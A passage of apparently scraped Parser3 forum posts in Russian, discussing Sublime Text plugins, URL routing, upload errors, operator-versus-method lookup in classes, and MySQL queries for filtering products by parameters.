— SideBarEnhancements для нормальной работы с файлами в сайдбаре\
— Trimmer для отрезания концевых проблеов в коде перед комитом в VCS.\
\
— Markdown Extended и Markdown Preview для работы с документацией.\
— ColorSchemeEditor для настройки цветов.\
\
Что еще удобное есть для Саблайма? :)"
"82037","У сайта есть таблицы:\
Категории\
Подкатегории\
Записи\
Товары\
\
Для каждой предусмотрен свой uri.\
\
Например зайдем на /section\
По логике section должен быть категорией, мы обращаемся в БД и сверяем $sections.url eq 'section', если совпадает применяем необходимые действия. Если неверно, то выдаем 404.\
\
Далее зайдем на /section/heading\
По логике section, это категория, а heading, это подкатегория.\
Обращаемся в БД, смотрим, если существует heading и у него $heading.section_id eq $section.id, то все верно, выполняем действия, но если нет, то значит вместо подкатегории указан адрес записи или товара который находится на верхнем уровне, выше всех подкатегорий.  Если неверно, то выдаем 404.\
Записи и товары могут иметь несколько подкатегорий.\
\
Далее зайдем на /section/heading/entry\
По логике, section, это категория, heading, это подкатегория, а entry это товар или запись.\
Проверяем section, если существует section, то проверяем heading, если существует heading у которого указано, что он является подкатегорией выбранной категории, далее проверяем entry, если это товар или запись, то проверяем относиться ли она к выбранной категории и содержит в себе выбранную подкатегорию, если все верно, выполняем действия.  Если неверно, то выдаем 404.\
\
При этом /section/heading/entry должен поддерживать дополнительные запросы, /section/heading/entry?foo=bar\
И если foo=bar ничего в себе не несет, а скажем просто utm-метка, то все равно показываем страницу\
\
У меня не получилось задуманное.\
Или всегда выдает 404 или проверка допускает несуществующие адреса и получается, что если зайти на несуществующую страницу /foo/bar то выдаст статус 200.\
В последнем примере кода у меня получилось делать сверку и выдавать правильно страницы и если их нет, то 404.\
Но при этом не поддерживаются дополнительные запросы ?foo=bar, выдает 404."
"82038","/section/heading/entry и все варианты разбирается несложным регулярным выражением на подобие ^/(.+?)(?:/(.+?)(?:/(.+?))?)?$. Получаете три переменные по которым ищете обработчик (функцию). Очевидно, что их всего три. Функции передаете параметры, полученные в регулярном выражении и в ней уже достаете из базы все что нужно. Если данных нет, то вы это явно увидите в обраотчике и выдате 404 ошибку. ?foo=bar проверите и обработаете в обработчике через form. \
\
Все это делается в любом веб-фреймворке много лет и вариантов реализации не так уж и много. Если вам сложно посмотреть как это реализовано в PF, то глянтье на Ruby on Rails. :)"
"82039","Sublime SFTP, который сохраняет код на сервере по нажатию cmd+S"
"82040","Я для этого использую [url=http://osxfuse.github.io/]Fuse for OSX[/url] + MacFusion. Т.е. монтирую папку с сервера на свой компьютер."
"82041","[quote]— Trimmer для отрезания концевых проблеов в коде перед комитом в VCS.[/quote]\
\
Если нужно чистить только концевые пробелы, то достаточно\
[code]\"trim_trailing_white_space_on_save\": true[/code]\
в настройках пользователя.\
\
У меня дополнительно:\
— [url=\"http://www.parser.ru/forum/?id=75777\"]Parser3[/url] — подсветка синтаксиса;\
— EncodingHelper — работа с кодировками;\
— StringEncode — кодирование/декодирование строк (Base, URL и так далее);\
— SFTP;\
— Aligment — не для Парсера, но очень полезный плагин для выравнивания отступов;\
— SyncedSideBar — установил экспериментально, чтобы сохранялся список открытых директорий сайдбара окна."
"82042","С регулярными выражениями у меня плохо. Поэтому использую .split\
[code]@path[params]\
$query[$request:uri]\
$query[^query.split[?;lh]]\
$section[^get.getSections[\
	$.url[$params.url]\
]]\
^if($section){\
	$heading[^get.getHeadings[\
		$.section_id[$section.id]\
		$.url[$params.uri]\
	]]\
	^if($heading){\
		$entry[^get.getEntries[\
			$.SID($section.id)\
			$.HID($heading.id)\
			$.link[$params.pid]\
		]]\
		$goody[^get.getGoods[\
			$.SID($section.id)\
			$.HID($heading.id)\
			$.link[$params.pid]\
		]]\
	}{\
		$entry[^get.getEntries[\
			$.SID($section.id)\
			$.HID(0)\
			$.link[$params.pid]\
		]]\
		$goody[^get.getGoods[\
			$.SID($section.id)\
			$.HID(0)\
			$.link[$params.pid]\
		]]\
	}\
}\
^switch(true){\
	^case($request:uri eq '/${section.url}/${heading.url}/${entry.link}^if(def $query.1){?${query.1}}'){\
		$response[true]\
	}\
	^case($request:uri eq '/${section.url}/${heading.url}/${entry.link}^if(def $query.1){?${query.1}}'){\
		$response[true]\
	}\
	^case($request:uri eq '/${section.url}/${heading.url}/${goody.link}^if(def $query.1){?${query.1}}'){\
		$response[true]\
	}\
	^case($request:uri eq '/${section.url}/${heading.url}^if(def $query.1){?${query.1}}'){\
		$response[true]\
	}\
	^case($request:uri eq '/${section.url}/${goody.link}^if(def $query.1){?${query.1}}'){\
		$response[true]\
	}\
	^case($request:uri eq '/${section.url}/${entry.link}^if(def $query.1){?${query.1}}'){\
		$response[true]\
	}\
	^case($request:uri eq '/${section.url}^if(def $query.1){?${query.1}}'){\
		$response[true]\
	}\
	^case($request:uri eq '/^if(def $query.1){?${query.1}}'){\
		$response[true]\
	}\
	^case[DEFAULT]{\
		$response[false]\
	}\
}[/code]"
"82043","Но если вас результат, производительность и гибкость устраивает, то все нормально."
"82044","Периодически не приходят от клиентов файлы с ошибкой выше. Насколько мы тут пытались разораться - проблема где то в оборудовании, данные приходят ото всей страны, но файлы не доходят только от некоторых из пользователей. Отловить ее никак не получается.\
\
Возник вопрос - как то можно эту ошибку перехватить и выдать вменяемое сообщение пользователю?"
"82046","Немного не сообразил, уточню... То, что я ее в конф auto.p могу перехватить понятно. А если я в том модуле, где происходит ошибка переопределю @unhandled_exception[..] оно сработает?\
\
/store.hml\
\
.....\
\
[code]@unhandled_exception[e;s]\
^if(^e.comment.match[post_size]){\
  сообщение\
  $exception.handled(1)\
}{\
  ^unhandled_exception_release[]\
}[/code]"
"82047","Обычно это все-таки обрыв TCP соединения в процессе передачи данных на сервер. Так что даже если вы сделаете красивый ответ, едва ли его кто-то увидит. :)\
\
P.S. \"Отловить ее никак не получается\" - гм, для повторения достаточно нажать Esc в браузере в процессе загрузки большого файла на сервер."
"82048","Скорее всего Парсер соберет класс MAIN, но не позовет @main. Так что unhandled_exception из store.html сработает. Как проверить и насколько это все актуально Костя уже написал."
"82049","При Esc происходит штатное закрытие соединения и до вызова парсера дело вообще не доходит. Ну у нас на практике так (win 2003/apache 2.2), возможно в других конфигурациях иначе. По видимому апач сам разбирается с обрывом соединения\
\
По поводу обрыва соединения - клиент вроде бы видит 500-ю ошибку. С этим админ разбирался, по его словам соединение закрывается штатно, но по какой то причине пакеты приходят не все. Завтра уточню еще раз у него"
"82050","Про Windows не скажу, но на Linux/FreeBSD все как я сказал. До вызова парсера дело не может не доходить как только размер POST запроса становится больше размера буфера TCP/IP в OS. Куда по вашему лишние байты деваются? :) Клиент шлет веб-серверу, веб-сервер по мере получения передает байты парсеру. Клиент нажал Esc, соединение с веб-сервером закрылось, он закрывает сокет с парсером, парсер получает обрезанный POST запрос (у которого в заголовках была одна длина, а по факту пришла другая)."
"82052","Начните с преобразования [url=http://www.parser.ru/forum/?id=82038]этих шагов[/url] в код.\
Если на готовые решения смотреть желания нет."
"82053","Интересно, какого размера могут быть эти буфера. 1.5 гиговый файл отмененный на излете 96% все равно не дошел до парсера и не вызвал ошибки.\
\
Уточнил у админа, у нас был один случай перехвата проблемного файла, вот концовка:\
\
[quote]\"2018\",\"14.474265\",\"212.220.204.165\",\"10.2.1.97\",\"TCP\",\"749\",\"27969 > 80 [PSH, ACK] Seq=1378571 Ack=1 Win=65535 Len=695\"\
\"2019\",\"14.478796\",\"212.220.204.165\",\"10.2.1.97\",\"TCP\",\"471\",\"27969 > 80 [[b]FIN, PSH, ACK[/b]] Seq=1379266 Ack=1 Win=65535 Len=417\"\
\"2020\",\"14.478873\",\"10.2.1.97\",\"212.220.204.165\",\"TCP\",\"54\",\"80 > 27969 [ACK] Seq=1 Ack=1379684 Win=64423 Len=0\"\
\"2021\",\"14.480719\",\"10.2.1.97\",\"212.220.204.165\",\"HTTP\",\"582\",\"HTTP/1.1 [b]500 Internal Server Error [/b] (text/html)\"\
\"2022\",\"14.480765\",\"10.2.1.97\",\"212.220.204.165\",\"TCP\",\"54\",\"80 > 27969 [[b]FIN, ACK[/b]] Seq=529 Ack=1379684 Win=64423 Len=0\"\
\"2023\",\"14.519779\",\"212.220.204.165\",\"10.2.1.97\",\"TCP\",\"54\",\"27969 > 80 [[b]RST, ACK[/b]] Seq=1379684 Ack=529 Win=0 Len=0\"\
[/quote]\
\
Админ говорит, что судя по логу TCP соединение завершилось корректно. Но тем не менее байты не дошли и парсер отвалился с 500 (которую я собственно и хочу перехватить и выдать сообщение). Задумался может у клиента неверно выставляется Content-Length?"
"82054","[quote]Интересно, какого размера могут быть эти буфера. 1.5 гиговый файл отмененный на излете 96% все равно не дошел до парсера и не вызвал ошибки.[/quote]\
\
Под Linux такая ошибка легко повторяется на 20Мб файле, тут скорее в скорости канала дело. :) Посмотрел под Windows - парсер тоже сразу запускается, тоже умирает при отмене. Но: в лог ничего не пишется. То есть либо система более жестко убивает парсер, либо какая-то разница в реализации для Windows для этой ситуации. \
\
[quote]Задумался может у клиента неверно выставляется Content-Length?[/quote]\
\
Да, вероятно под Windows дело должно быть в этом. Либо у клиента (если самописное ПО), либо возможно proxy по дороге шалит, тут разные варианты возможны..."
"82055","Настолько ли принципиален порядок следования инструкций?\
\
Лично мне привычно писать:\
[code]@CLASS\
…\
\
@BASE\
…\
\
@OPTIONS\
…[/code]\
\
А приходится:\
[code]@CLASS\
…\
\
@OPTIONS\
…\
\
@BASE\
…[/code]"
"82056","так было проще и так нам показалось более логичным."
"82057","При этом @USE, @BASE и @CLASS никаких требований к порядку следования  не предъявляют, работают произвольно.\
\
Нелогично получается.\
\
К тому же требование к @OPTIONS не описано в документации.\
А в примере в документации @OPTIONS и вовсе после @USE, то есть пример не будет работать."
"82060","т.к. сейчас можно написать так:\
[code]\
@BASE\
a\
\
@method[]\
...\
[/code]\
\
только вот что это означает?\
\
хотя возможно я что-то подзабыл.\
\
\
а ещё бывают пользовательские классы без методов и несколько классов в одном файле.\
[code]\
@CLASS\
b\
\
@BASE\
a\
\
# вот тут я в принципе могу уже желать описывать новый класс, начав его с @BASE:\
@BASE\
a\
\
@CLASS\
c\
\
@method[]\
...\
[/code]\
\
другими словами: я за то, чтобы только @CLASS было началом описания нового класса, всё остальное -- за ним. сделать, чтобы порядок BASE/OPTIONS был произвольным -- можно, но я не вижу в этом особого смысла и с точки зрения внутренней логики OPTIONS перед BASE выглядит логичнее и проще реализуется (ещё раз: @USE -- из другой оперы, я щас про CLASS/BASE/OPTIONS)."
"82061","Я не столько призываю сделать возможность задавать порядок произвольно, сколько предлагаю его корректно указать в примере и задокументировать."
"82062","В основном только: \
- подсветку Parser3 + тему P3 Tommorow night\
\
 по ftp не заморачиваюсь, годится обычное автомонтирование\
 при подключении штатным SFTP в Nautilus\
\
есть нарекания на подсветку что она не красит html\
это как бы правильно но неудобно.\
\
Под Far подсветка красила html и это было удобно.\
Самому раскуривать синтаксис подсветки при моей нелюбви к regexp-ам \
не представляю возможным (может у кого есть)"
"82063","[code]@main[]\
$t[^test::create[$.a[1]]]\
$t2[^test::create[$.a[2]]]\
$t.b\
\
\
@CLASS\
test\
\
@create[data]\
$self.data[$data]\
\
^process[$self]{\
^@GET_b[]\
^$result[$self.data.a]\
}[/code]\
\
Ожидаю 1, получаю 2.\
Как понимаю, код компилируется в контексте класса, а не объекта, несмотря на передачу объекта в качестве контекста.\
\
Даже если вынести компиляцию из конструктора ситуация не меняется, и передача $self в качестве контекста не работает.\
\
Понятно, что можно написать\
[code]^$result[^$self.data.a][/code]\
и получить значение на момент выполнения, а не на момент компиляции, но интересно почему не работает в изначальном виде."
"82064","Бр-р-р. При чем тут вообще контексты? Вы определяете метод GET_b у класса, метод может быть только один. После создания первого объекта он возвращает 1, при создании второго объекта метод переопределяется и начинает возвращать 2."
"82065","[quote]Вы определяете метод GET_b [b]у класса[/b], метод может быть только один[/quote]\
\
Вопрос в том, почему метод компилируется в контексте класса, а не объекта.\
\
Убираем process:\
[code]@main[]\
$t[^test::create[$.a[1]]]\
$t2[^test::create[$.a[2]]]\
$t.b\
\
\
@CLASS\
test\
\
@create[data]\
$self.data[$data]\
\
@GET_b[]\
$result[$self.data.a][/code]\
и получаем ожидаемый результат.\
\
Задача — добавить метод объекту, не классу."
"82066","Он компилируется в контексте объекта (иначе бы не работало $self.data.a). Но после компиляции попадает естественно в класс, поскольку методы это свойство класса и одинаковы для всех объектов класса."
"82067","[quote]Но после компиляции попадает естественно в класс, поскольку методы это свойство класса и одинаковы для всех объектов класса.[/quote]\
\
Теперь ясно.\
Компилируется дважды и действительно затирается новым.\
\
Спасибо за вправление мозга."
"82068","[code]\
@main[]\
  $o[^dyn_props::create[]]\
  1: $o.name\
  2: ^o.getName[]\
  3: ^o.GET_name[]\
\
@CLASS\
dyn_props\
\
@create[]\
  $_name[The Name]\
  $GET_name[$getName]\
\
@getName[]\
  $result[$_name]\
[/code]\
\
Сейчас получаем:\
[code]\
  1:\
  2: The Name\
  3: The Name\
[/code]\
\
Если при поиске свойства искать не только метод GET_name, но и поле GET_name с junction, то мы получим «динамическое свойство» у объекта."
"82069","Редактируем файл Parser3.tmLanguage в архиве Parser3.sublime-package.\
\
После строк:\
[code]\
        <string>Parser3</string>\
        <key>patterns</key>\
        <array>\
[/code]\
\
Вставляем:\
[code]\
                <dict>\
                    <key>include</key>\
                    <string>text.html.basic</string>\
                </dict>\
[/code]"
"82070","[quote]Если при поиске свойства искать не только метод GET_name, но и поле GET_name с junction, то мы получим «динамическое свойство» у объекта.[/quote]\
\
Если бы оно так на самом деле работало, были бы тормоза. :) Никакой GET_name конечно не ищется, ищется только name. Что касается твоего предложения, у меня нет идей, как это можно сделать без потери производительности."
"82071","Проблема не слишком серьезная и там, где я на это наткнулся, проблема чисто теоретическая и решение с вкомпилированием свойства в класс устраивает."
"82072","Не совсем по теме но уже голову сломал, помогите плиз\
надо из таблицы mysql \
id-parametr_id\
1-1\
2-2\
1-2\
4-3\
3-3\
выбрать все id у которых parametr_id равен и 1 и 2 т.е. из этой таблицы надо достать id-1\
условие\
where\
parametr_id=1 and\
parametr_id=2\
дает пустой результат\
условие\
where\
parametr_id=1 or\
parametr_id=2\
\
дает id=1 и id=2\
Ткните куда копать плиз если это возможно. Заранее спасибо."
"82073","Надо сгруппировать записи, а потом отобрать. Как-то так:\
[code]\
select id, group_concat(distinct parametr_id order by number_id asc separator \",\") as pg\
from data\
where parametr_id in (1, 2)\
group by id\
having pg = \"1,2\"\
[/code]"
"82074","http://sqlfiddle.com/#!9/72a9d/2\
\
[code]SELECT t1.id\
FROM test AS t1\
JOIN test AS t2 ON (t2.id = t1.id)\
WHERE 1\
	AND t1.parametr_id = 1\
	AND t2.parametr_id = 2[/code]"
"82075","Представляешь во что это превратиться, если надо будет отфильтровать по десяти параметрам. :)\
\
Очень похоже, что используется схема хранения атрибутов в отдельных записях. Что приводит к очевидным проблемам. Я бы посмотрел на постреляционные расширения СУБД. В MariaDB есть динамические колонки, в MySQL 5.7 появился встроенный тип json с индексами. А entity-value тупиковая история."
"82076","Я думаю, что если в таблице не миллионы записей, то будет нормально, объединение по короткому первичному ключу.\
\
Если не увлекаться, то вполне рабочий подход."
"82078","1.\
[code]\
SELECT\
	t1.*\
FROM\
	test AS t1\
	INNER JOIN (\
		SELECT\
			t2.id\
			, COUNT(*) AS cnt\
		FROM\
			test AS t2\
		WHERE\
			parameter_id IN (1,2)/* это OR */\
		GROUP BY\
			id\
	) AS t3 ON (t1.id = t3.id)\
WHERE\
	t3.cnt = 2/* количество параметров, которые должны совпадать */\
[/code]\
\
\
2.\
[code]\
SELECT\
	t1.*\
FROM\
	test AS t1\
WHERE\
	(\
		SELECT\
			COUNT(*)\
		FROM\
			test AS t2\
		WHERE\
			t2.id = t1.id\
			AND t2.parameter_id IN (1,2) /* это OR */\
	) = 2 /* количество параметров, которые должны совпадать */\
[/code]\
\
из этих второй запрос лучше, но нужен составной индекс по id, parameter_id"
"82079","Предлагаю рассмотреть возможность, скажем через reflection или какой-нибудь класс debug, получать стек вызовов.\
Для целей отладки было бы очень полезно.\
\
Можно, конечно, вставить в нужном месте throw и получить необходимое, но это подходит только для линейных случаев.\
\
Быть может, что-либо отладочное уже есть в TODO?"
"82080","Можно попробовать это сделать без джоинов:\
[code]\
select id, count(distinct parametr_id) as pg\
  from data\
where parametr_id in (1, 2)\
group by id\
having pg = 2\
[/code]"
"82081","угу.\
я не очень вникал в постановку задачи и не понял, нужно ли группировать по id. этот запрос группирует, мои -- нет."
"82083","Делается что-то типа фильтра как в яндекс маркете. Как пример тут справа\
[url=\"https://market.yandex.ru/catalog/54965/list?hid=90594&track=fr_cm_params&exc=1&how=dpop\"]Сссылка на яндекс маркет[/url]\
Я знаю что при помощи парсера можно сформировать практически любой запрос, но для меня слишком велика вероятность ошибки тем более что в запросе у меня один union и в каждом еще по 3 вложенных запроса, плюс разнородные данные, плюс не постоянное количество этих параметров и т.д. и т.п. Может кто-то решал подобную задачу? Как лучше хранить подобные параметры в MySQL? Возможно я в силу неопытности не вижу очевидные вещи. Переход на другую базу не рассматривается, в этой слишком много всего. Заранее спасибо за ответ."
"82084","Я так понимаю если 10 параметров то надо 10 JOINов?"
"82085","[code]#!./parser3\
\
@main[]\
  $t[^test::create[]]\
\
  ^print[value 2]\
  ^t.print[value 1]\
  ^t.greeting[]\
\
@print[str]\
  main: $str\
\
\
@CLASS\
test\
\
@create[]\
\
@greeting[]\
  $result[^print[Hello, world!]]\
\
@print[str]\
  test: $str\
[/code]\
\
Результат:\
[code]\
    main: value 2\
    test: value 1\
    main: Hello, world!\
[/code]\
\
Ожидали:\
[code]\
    main: value 2\
    test: value 1\
    test: Hello, world!\
[/code]\
\
Проверил на 3.4.3 и 3.4.4RC — результат одинаковый. Кажется, что такой приоритет вызова неправильный и приводит к очень неприятным ошибкам. Сначала надо искать метод в классе, а потом уже звать оператор, иначе все вызовы метод в классе надо переписывать через ^self.method[]."
"82086","Переход на них достаточно тривиален."
"82087","Я правильно понял что на MariaDB такая задача там решается легко типа:\
where\
parametr_id=1 AND\
parametr_id=2\
?"
"82088","Как один из вариантов рассматриваю использовать id параметров в заголовках столбцов, в ячейках соответственно значения этих параметров. Парсер позволяет легко сформировать запрос в зависимости от пришедших данных. Есть три вопроса:\
1. В таблице будет уже порядка 180 столбцов и порядка 4000 строк и будет ивелечиваться. Насколько такая таблица будет все тормозить?\
2. Не возможность индексации по id параметра. При каких размерах таблицы это может стать проблемой?\
3. На сколько там будут корректно работать все условия типа\
[code](parametr_id_1=1 AND\
parametr_id_2=1) OR\
parametr_id_3=1 AND\
(parametr_id_4>=10 AND # случай использования значения в фильтре а не просто галочки\
parametr_id_4<=20) AND[/code]\
и т.д.?"
"82089","Вы храните атрибуты в таблице со структурой product_id - param_id - value, что противоречит идее реляционных баз данных. Поэтому выборки с фильтрацией из таких таблиц в РСУБД делаются очень непросто. Жить с этим можно, но придется серьезно повозиться с оптимизацией запросов.\
\
Для того, чтобы решать такие проблемы разработчики делают постреляционные расширения в своих продуктах. Позволяют хранить слабоструктурированные и разреженные данные в полях, строить по ним индексы и делать выборки. Расширения зависят от продукта и никак нестандартизированы. Я уже не говорю, что есть целый класс nosql баз данных, которые заточены под хранение сложных документов.\
\
MySQL-совместимые СУБД:\
https://mariadb.com/kb/en/mariadb/dynamic-columns/\
http://dev.mysql.com/doc/refman/5.7/en/json.html\
\
У Постгреса целый набор типов данных: массивы, hstore, json/jsonb. Наверняка в Оракле и MSSQL есть аналогичные расширения."
"82091","Селективность — это отношение количества уникальных значений к общему числу записей. Чем ближе это значение к единицы, тем лучше. Для первичного ключа таблицы селективность равна 1, потому что все значения ключа уникальны. А вот если у вас 4000 товаров, в среднем с 10 параметрами, причем видов этих параметров 400, т.е. 40000 записей в таблице, то селективность индекса по parametr_id будет 400/40000=0.01, т.е. такой индекс смысла имеет не много и при росте числа товаров селективность индекса будет еще хуже. Если делать составной индекс по id/parametr_id, то селективность будет лучше, но надо аккуратно писать запросы и смотреть на планы — может случиться, что вы напишете запрос так, что индекс использоваться не будет."
"82093","Видимо придется возиться MySQL.Посмотрите пожалуйста мой пост по не стандартному решению, может есть известные проблемы и ограничения про которые я не знаю?"
"82095","http://sqlfiddle.com/#!9/72a9d/12"
"82096","боюсь, что изменение приоритета приведёт к большому количеству вылезших несовместимостей.\
\
P.S. а ты думаешь на фига я N лет везде в классах пишу ^self.method[]? :)"
"82099","я написал, что не понял, в каком виде нужны результаты -- с группировкой по id или без.\
\
соотв. запросы можно рассматривать как примеры того, в каких направлениях ещё можно двигаться: join с derived table или зависимый подзапрос."
"82100","Писать везде self — это издевательство над здравым смыслом. Тем более, что для операторов есть явное и доступное отовсюду пространство имен MAIN."
"82101","\"проблема\" известна давно:\
http://www.parser.ru/forum/?id=49192\
http://www.parser.ru/forum/?id=57529\
http://www.parser.ru/forum/?id=75333\
\
основная идея пользовательских операторов -- расширять язык (см. default & Co в FAQ). писать ^MAIN:default{}, ^MAIN:myfor[...] -- в общем тоже издевательство (подразумевается, что добавляемый оператор будет использоваться часто).\
\
P.S. можно попробовать добавить какой-нить новый ключик в @OPTIONS, который будет переключать способ поиска операторов."
"82102","По сути оператор — это функция в глобальном пространстве имен MAIN. Пространства имен должны вести себя логично. Т.е. локальное пространство всегда имеет приоритет над глобальным. Так устроены объекты, методы и пр. К глобальному пространству всегда есть доступ через MAIN:call. И надо раз и навсегда закрепить этот порядок.\
\
У меня это не вылезало, поскольку все раскидано по классам, но меня совершенно не радует перспектива, когда пользователь PF`а написав безобидный оператор порушит работу половины библиотеки.\
\
Для клинических случаев можно ввести опцию аналогично $STRICT-VARS(true), но сделать ее опцией по-умолчанию. Т.е. если надо сделать приоритет операторов выше методов, то программист должен явно в конфигурационном файле прописать ^HIGH_OPERATORS_PRIORITY(true). Ну и руки, конечно, отрывать за использование этой опции в новом коде. :)"
"82103","...надо понимать, что у вас за данные, какие сценарии использования, какие есть технические ограничения и пр. Т.е. придется разобраться в вашей задаче, что в рамках форума невозможно. Выбор между таблицей с тремя полями и таблицей с четырьмя сотнями полей кажутся крайностью. Надо разбираться с задачей и делать нормальную реляционную структуру (с табличуами и связями между ними), а потом уже искать пути оптимизации сценариев поиска, если будут затыки с производительностью."
"82104","мне это можешь не объяснять, я сам приводил точно такие-же аргументы."
"82106","[quote]Как один из вариантов рассматриваю использовать id параметров в заголовках столбцов, в ячейках соответственно значения этих параметров.[/quote]\
\
Такое будет лучше универсального варианта с общей таблицей только если сценарии использования фиксированные и их не много.\
Плюс, не много самих полей.\
\
Иначе можно упереться в ограничения на количество полей и количество индексов.\
На каждую комбинацию «фильтра» потребуется свой индекс.\
\
Добавлять или удалять поля придётся на большой таблице, что либо копирование, либо ALTER и блокировка.\
\
Тупиковый путь."
"82107","Понял, буду думать, но пока лучшей идеи кроме как \"добавить третье измерение\" в заголовок столбца не придумал..."
"82108","Сценарий всего один - выбрать модель отвечающую определнным параметрам, количество столбцов сейчас 164, большое на мой взгляд, но это постоянные столбцы. Их добавление возможно при расширении товарного ассортимента, но добавить несколько полей в таблицу можно вручную. Как вариант уменьшения количества столбцов в одной таблице - разбить условно по группам товаров, тем более что выборка происходит в рамках одной группы, в итоге больше таблиц меньшего размера. Решения с нормальной реляционной структурой, как предлагает уважаемый Sumo, пока не вижу. Попробовал быстро несколько вариантов - не работают нормально."
"82109","Я вижу три варианта:\
1. фиксированные фильтры, задаваемые и поддерживаемые разработчиком — одна таблица с физическими полями, индекс на каждый набор полей фильтра;\
2. произвольные фильтры по небольшому набору полей — отдельная таблица «id-field-value» и варианты выборок, предложенные в данном обсуждении;\
3. произвольные фильтры по произвольному набору полей — индексируемое JSON-поле или NoSQL-решения.\
\
Возможно, меня поправят."
"82110","Но у меня недвижимость и полей меньше, тем более не все поля фильтруемые. Те которые фильтруемые вынесены в отдельную табличку и она растет в ширь по мере добавления чего-то.\
\
Но я смотр. на всякие umi-cms, так они практически ВСЕ данные загнали в рамках пары таблиц. \
И живут так, работают конечно не очень быстро и в коде можно потеряться.\
Каждый раз смотрю в сторону слоника с его поддержкой JSON, с фильтрами и тому подобному.\
\
На хабре как-то статья была, что все подобные параметры они сводили к битовому поиску по маске, что тоже интересно и нативно работает в mysql\
\
Также есть еще статья http://habrahabr.ru/post/114113/ тут уж потребуется подумать )"
"82112","Битовые маски шустры, но ограничены размером поддерживаемого числа.\
128-ми значений может не хватить.\
\
В остальном, самым безболезненным выглядит JSON-type в MySQL 5.7.\
Можно проиндексировать нужные поля JSON'а и искать по ним.\
Но сам не пробовал."
"82113","[quote]Сначала надо искать метод в классе[/quote]\
\
Для начала надо вспомнить, что в парсере по сути нет разницы между методом и полем (с точки зрения поиска). Да, мы сейчас немного развели их для хеша и таблицы, но объекты не трогали. И Миша правильно пишет:\
\
[quote]боюсь, что изменение приоритета приведёт к большому количеству вылезших несовместимостей.[/quote]\
\
Например с GET_DEFAULT и использующим его кодом придется проститься. :)\
\
Текущее поведение в парсере с самого начала, в байткоде команда так и называется GET_ELEMENT_OR_OPERATOR.\
\
Но я обычно не пишу в классах ^self и особо не страдаю от этого. Если кто себе мусорит в MAIN непонятными названиями, то он в общем сам себе Буратино. :) Что можно попробовать сделать - отселить операторы в отдельный namespace, чтобы уменьшить вероятность конфликта. Но если что-то писал свои операторы типа ^ifdef и пользовался ими в классах (в MAIN они понятно продолжат работать) - такой код сломается. Для совместимости можно например сделать так, что по умолчанию операторы будут жить в main, но опционально можно поменять имя класса операторов. Ну или просто не мусорить в MAIN. :)\
\
Ну и в любом случае это не bug. :)"
"82114","Да, такая идея всплывает не первый раз, но вот реализация без ущерба производительности боюсь невозможна (хотя если кто придумает как это сделать - буду только рад).\
\
Сейчас исключения парсера - это на самом деле исключения C++, и в процессе их возникновения из метода собирается локальная переменная с текущим выполняемым оператором. И это одноразовая операция, продолжить работу кода невозможно. Класть не в локальную переменную, а в по сути свой стек - медленнее.\
\
Можно попробовать решить более частную задачу, показывать в stacktrace только методы на парсере. На парвый взгляд это можно будет сделать, используя $caller."
"82115","... как стандартный метод разработки. Там очень много интересных «операторов» вводится в примерах: greeting, body, calendar, navigation, footer, header. Как я вижу по форуму, очень многие разработчики используют MAIN как основу приложения и не задумываются о «замусоривании» и что любая из функций MAIN может «перекрыть» метод внешнего класса.\
\
Чтобы избежать проблем мы должны либо все выносить в классы, добавляя в MAIN только один оператор main:\
[code]\
@main[]\
  $app[^App::create[...]]\
  ^app.run[]\
[/code]\
\
Либо ходить по минному полю, если нам нужен микс из встроенного в Парсер фреймворка вокруг MAIN и пользовательских классов. Возможно, это стоит описать в документации: либо живите в MAIN, либо уходите в классы.\
\
[quot]Что можно попробовать сделать - отселить операторы в отдельный namespace, чтобы уменьшить вероятность конфликта.\
...\
Для совместимости можно например сделать так, что по умолчанию операторы будут жить в main, но опционально можно поменять имя класса операторов.[/quot]\
\
Оставлять ситуацию как есть точно нельзя. Миша предлагал девять лет назад варианты решения (http://www.parser.ru/forum/?id=57532): \
- \"операторы\" объявляются иначе, например: @@foreach[hash;...]\
- сделать чтобы операторами были не методы класса MAIN, а методы какого-нить ещё класса с фиксированным именем (OPERATORS?). неудобство: их не разнести по нескольким файлам, которые удобно @USE/^use[] (например не все операторы мне нужны в этой ветке сложного if или операторы написанны разными людьми хочется использовать в проекте).\
- плюс к предыдущим сделать чтобы MAIN был неявным родителем любого пользовательского класса и соотв. поиск методов (но не переменных) происходил бы как обычно: сначала ищется метод класса, потом метод родительского класса, ... в конце - неявного родителя MAIN.\
\
Я бы предложил сделать это все одной синтаксической конструкцией — @operator:foreach[..] — которая объвляет оператор в неявном внутреннем пространстве имен для операторов. И добавить метод ^reflection:operatros[], который возвращает список всех операторов.\
\
[quote]Ну и в любом случае это не bug. :)[/quote]\
На мой взгляд это ошибка дизайна, которую мы получили в наследство от второго Парсера, где все макросы были в одном пространстве имен. :)"
"82116","Увы в моем случае то же не доступно, версия MySQL 5.1.59. Придется плясать с бубном. Я уже реализовывал подобную \"трехмерную\" таблицу для задачи прописывания наценок на бренды и категории товаров для конкретного клиента. По работе претензий нет, тем более что во-первых парсер позволяет как угодно формировать запрос, во-вторых я работал там с одной строкой, в-третьих полей там порядка 50. Ломал вчера голову весь день пока более простого и универсального решения не придумал, проведу эксперимент будет понятно."
"82118","[quote]а методы какого-нить ещё класса с фиксированным именем (OPERATORS?)[/quote]\
\
Я вроде предложил не с фиксированным, а чтобы по умолчанию был MAIN, но можно было поменять...\
\
[quote]неудобство: их не разнести по нескольким файлам, которые удобно @USE/^use[] (например не все операторы мне нужны в этой ветке сложного if или операторы написанны разными людьми хочется использовать в проекте).[/quote]\
\
А partial на что?\
\
[quote]- плюс к предыдущим сделать чтобы MAIN был неявным родителем любого пользовательского класса и соотв. поиск методов (но не переменных) происходил бы как обычно: сначала ищется метод класса, потом метод родительского класса, ... в конце - неявного родителя MAIN.\
[/quote]\
\
На самом деле никто естественно по родителям не ищет, это было бы медленно. У каждого класса полный набор методов, включающий все методы родителей. И в таком случае нас будут ожидать сюрпризы например при использовании reflection...\
\
[quote]Я бы предложил сделать это все одной синтаксической конструкцией[/quote]\
\
У этого предложения большие проблемы с совместимостью."
"82119","Но в этом случае потеря совместимости некритична и даже полезна. Текущая ситуация - это ад для разработчиков библиотек. Добавить ключевое слово operator перед теми функциями, которые мы хотим сделать операторами, не сложно. Если программист писал код нормально и не пихал в мейн кучу хлама, то своместимость вообще не поломается. \
\
Это изменение можно совместить с добавлением в язык цепочек методов. Главное, чтобы эти изменения не затянулись на пару лет. :)."
"82121","Особенно рекомендую Emmet — сильно упрощает работу с html'ом и ccs'ом.\
\
https://packagecontrol.io/packages/Emmet\
https://packagecontrol.io/packages/ColorPicker"
"82122","[quote]\
Например с GET_DEFAULT и использующим его кодом придется проститься. :)\
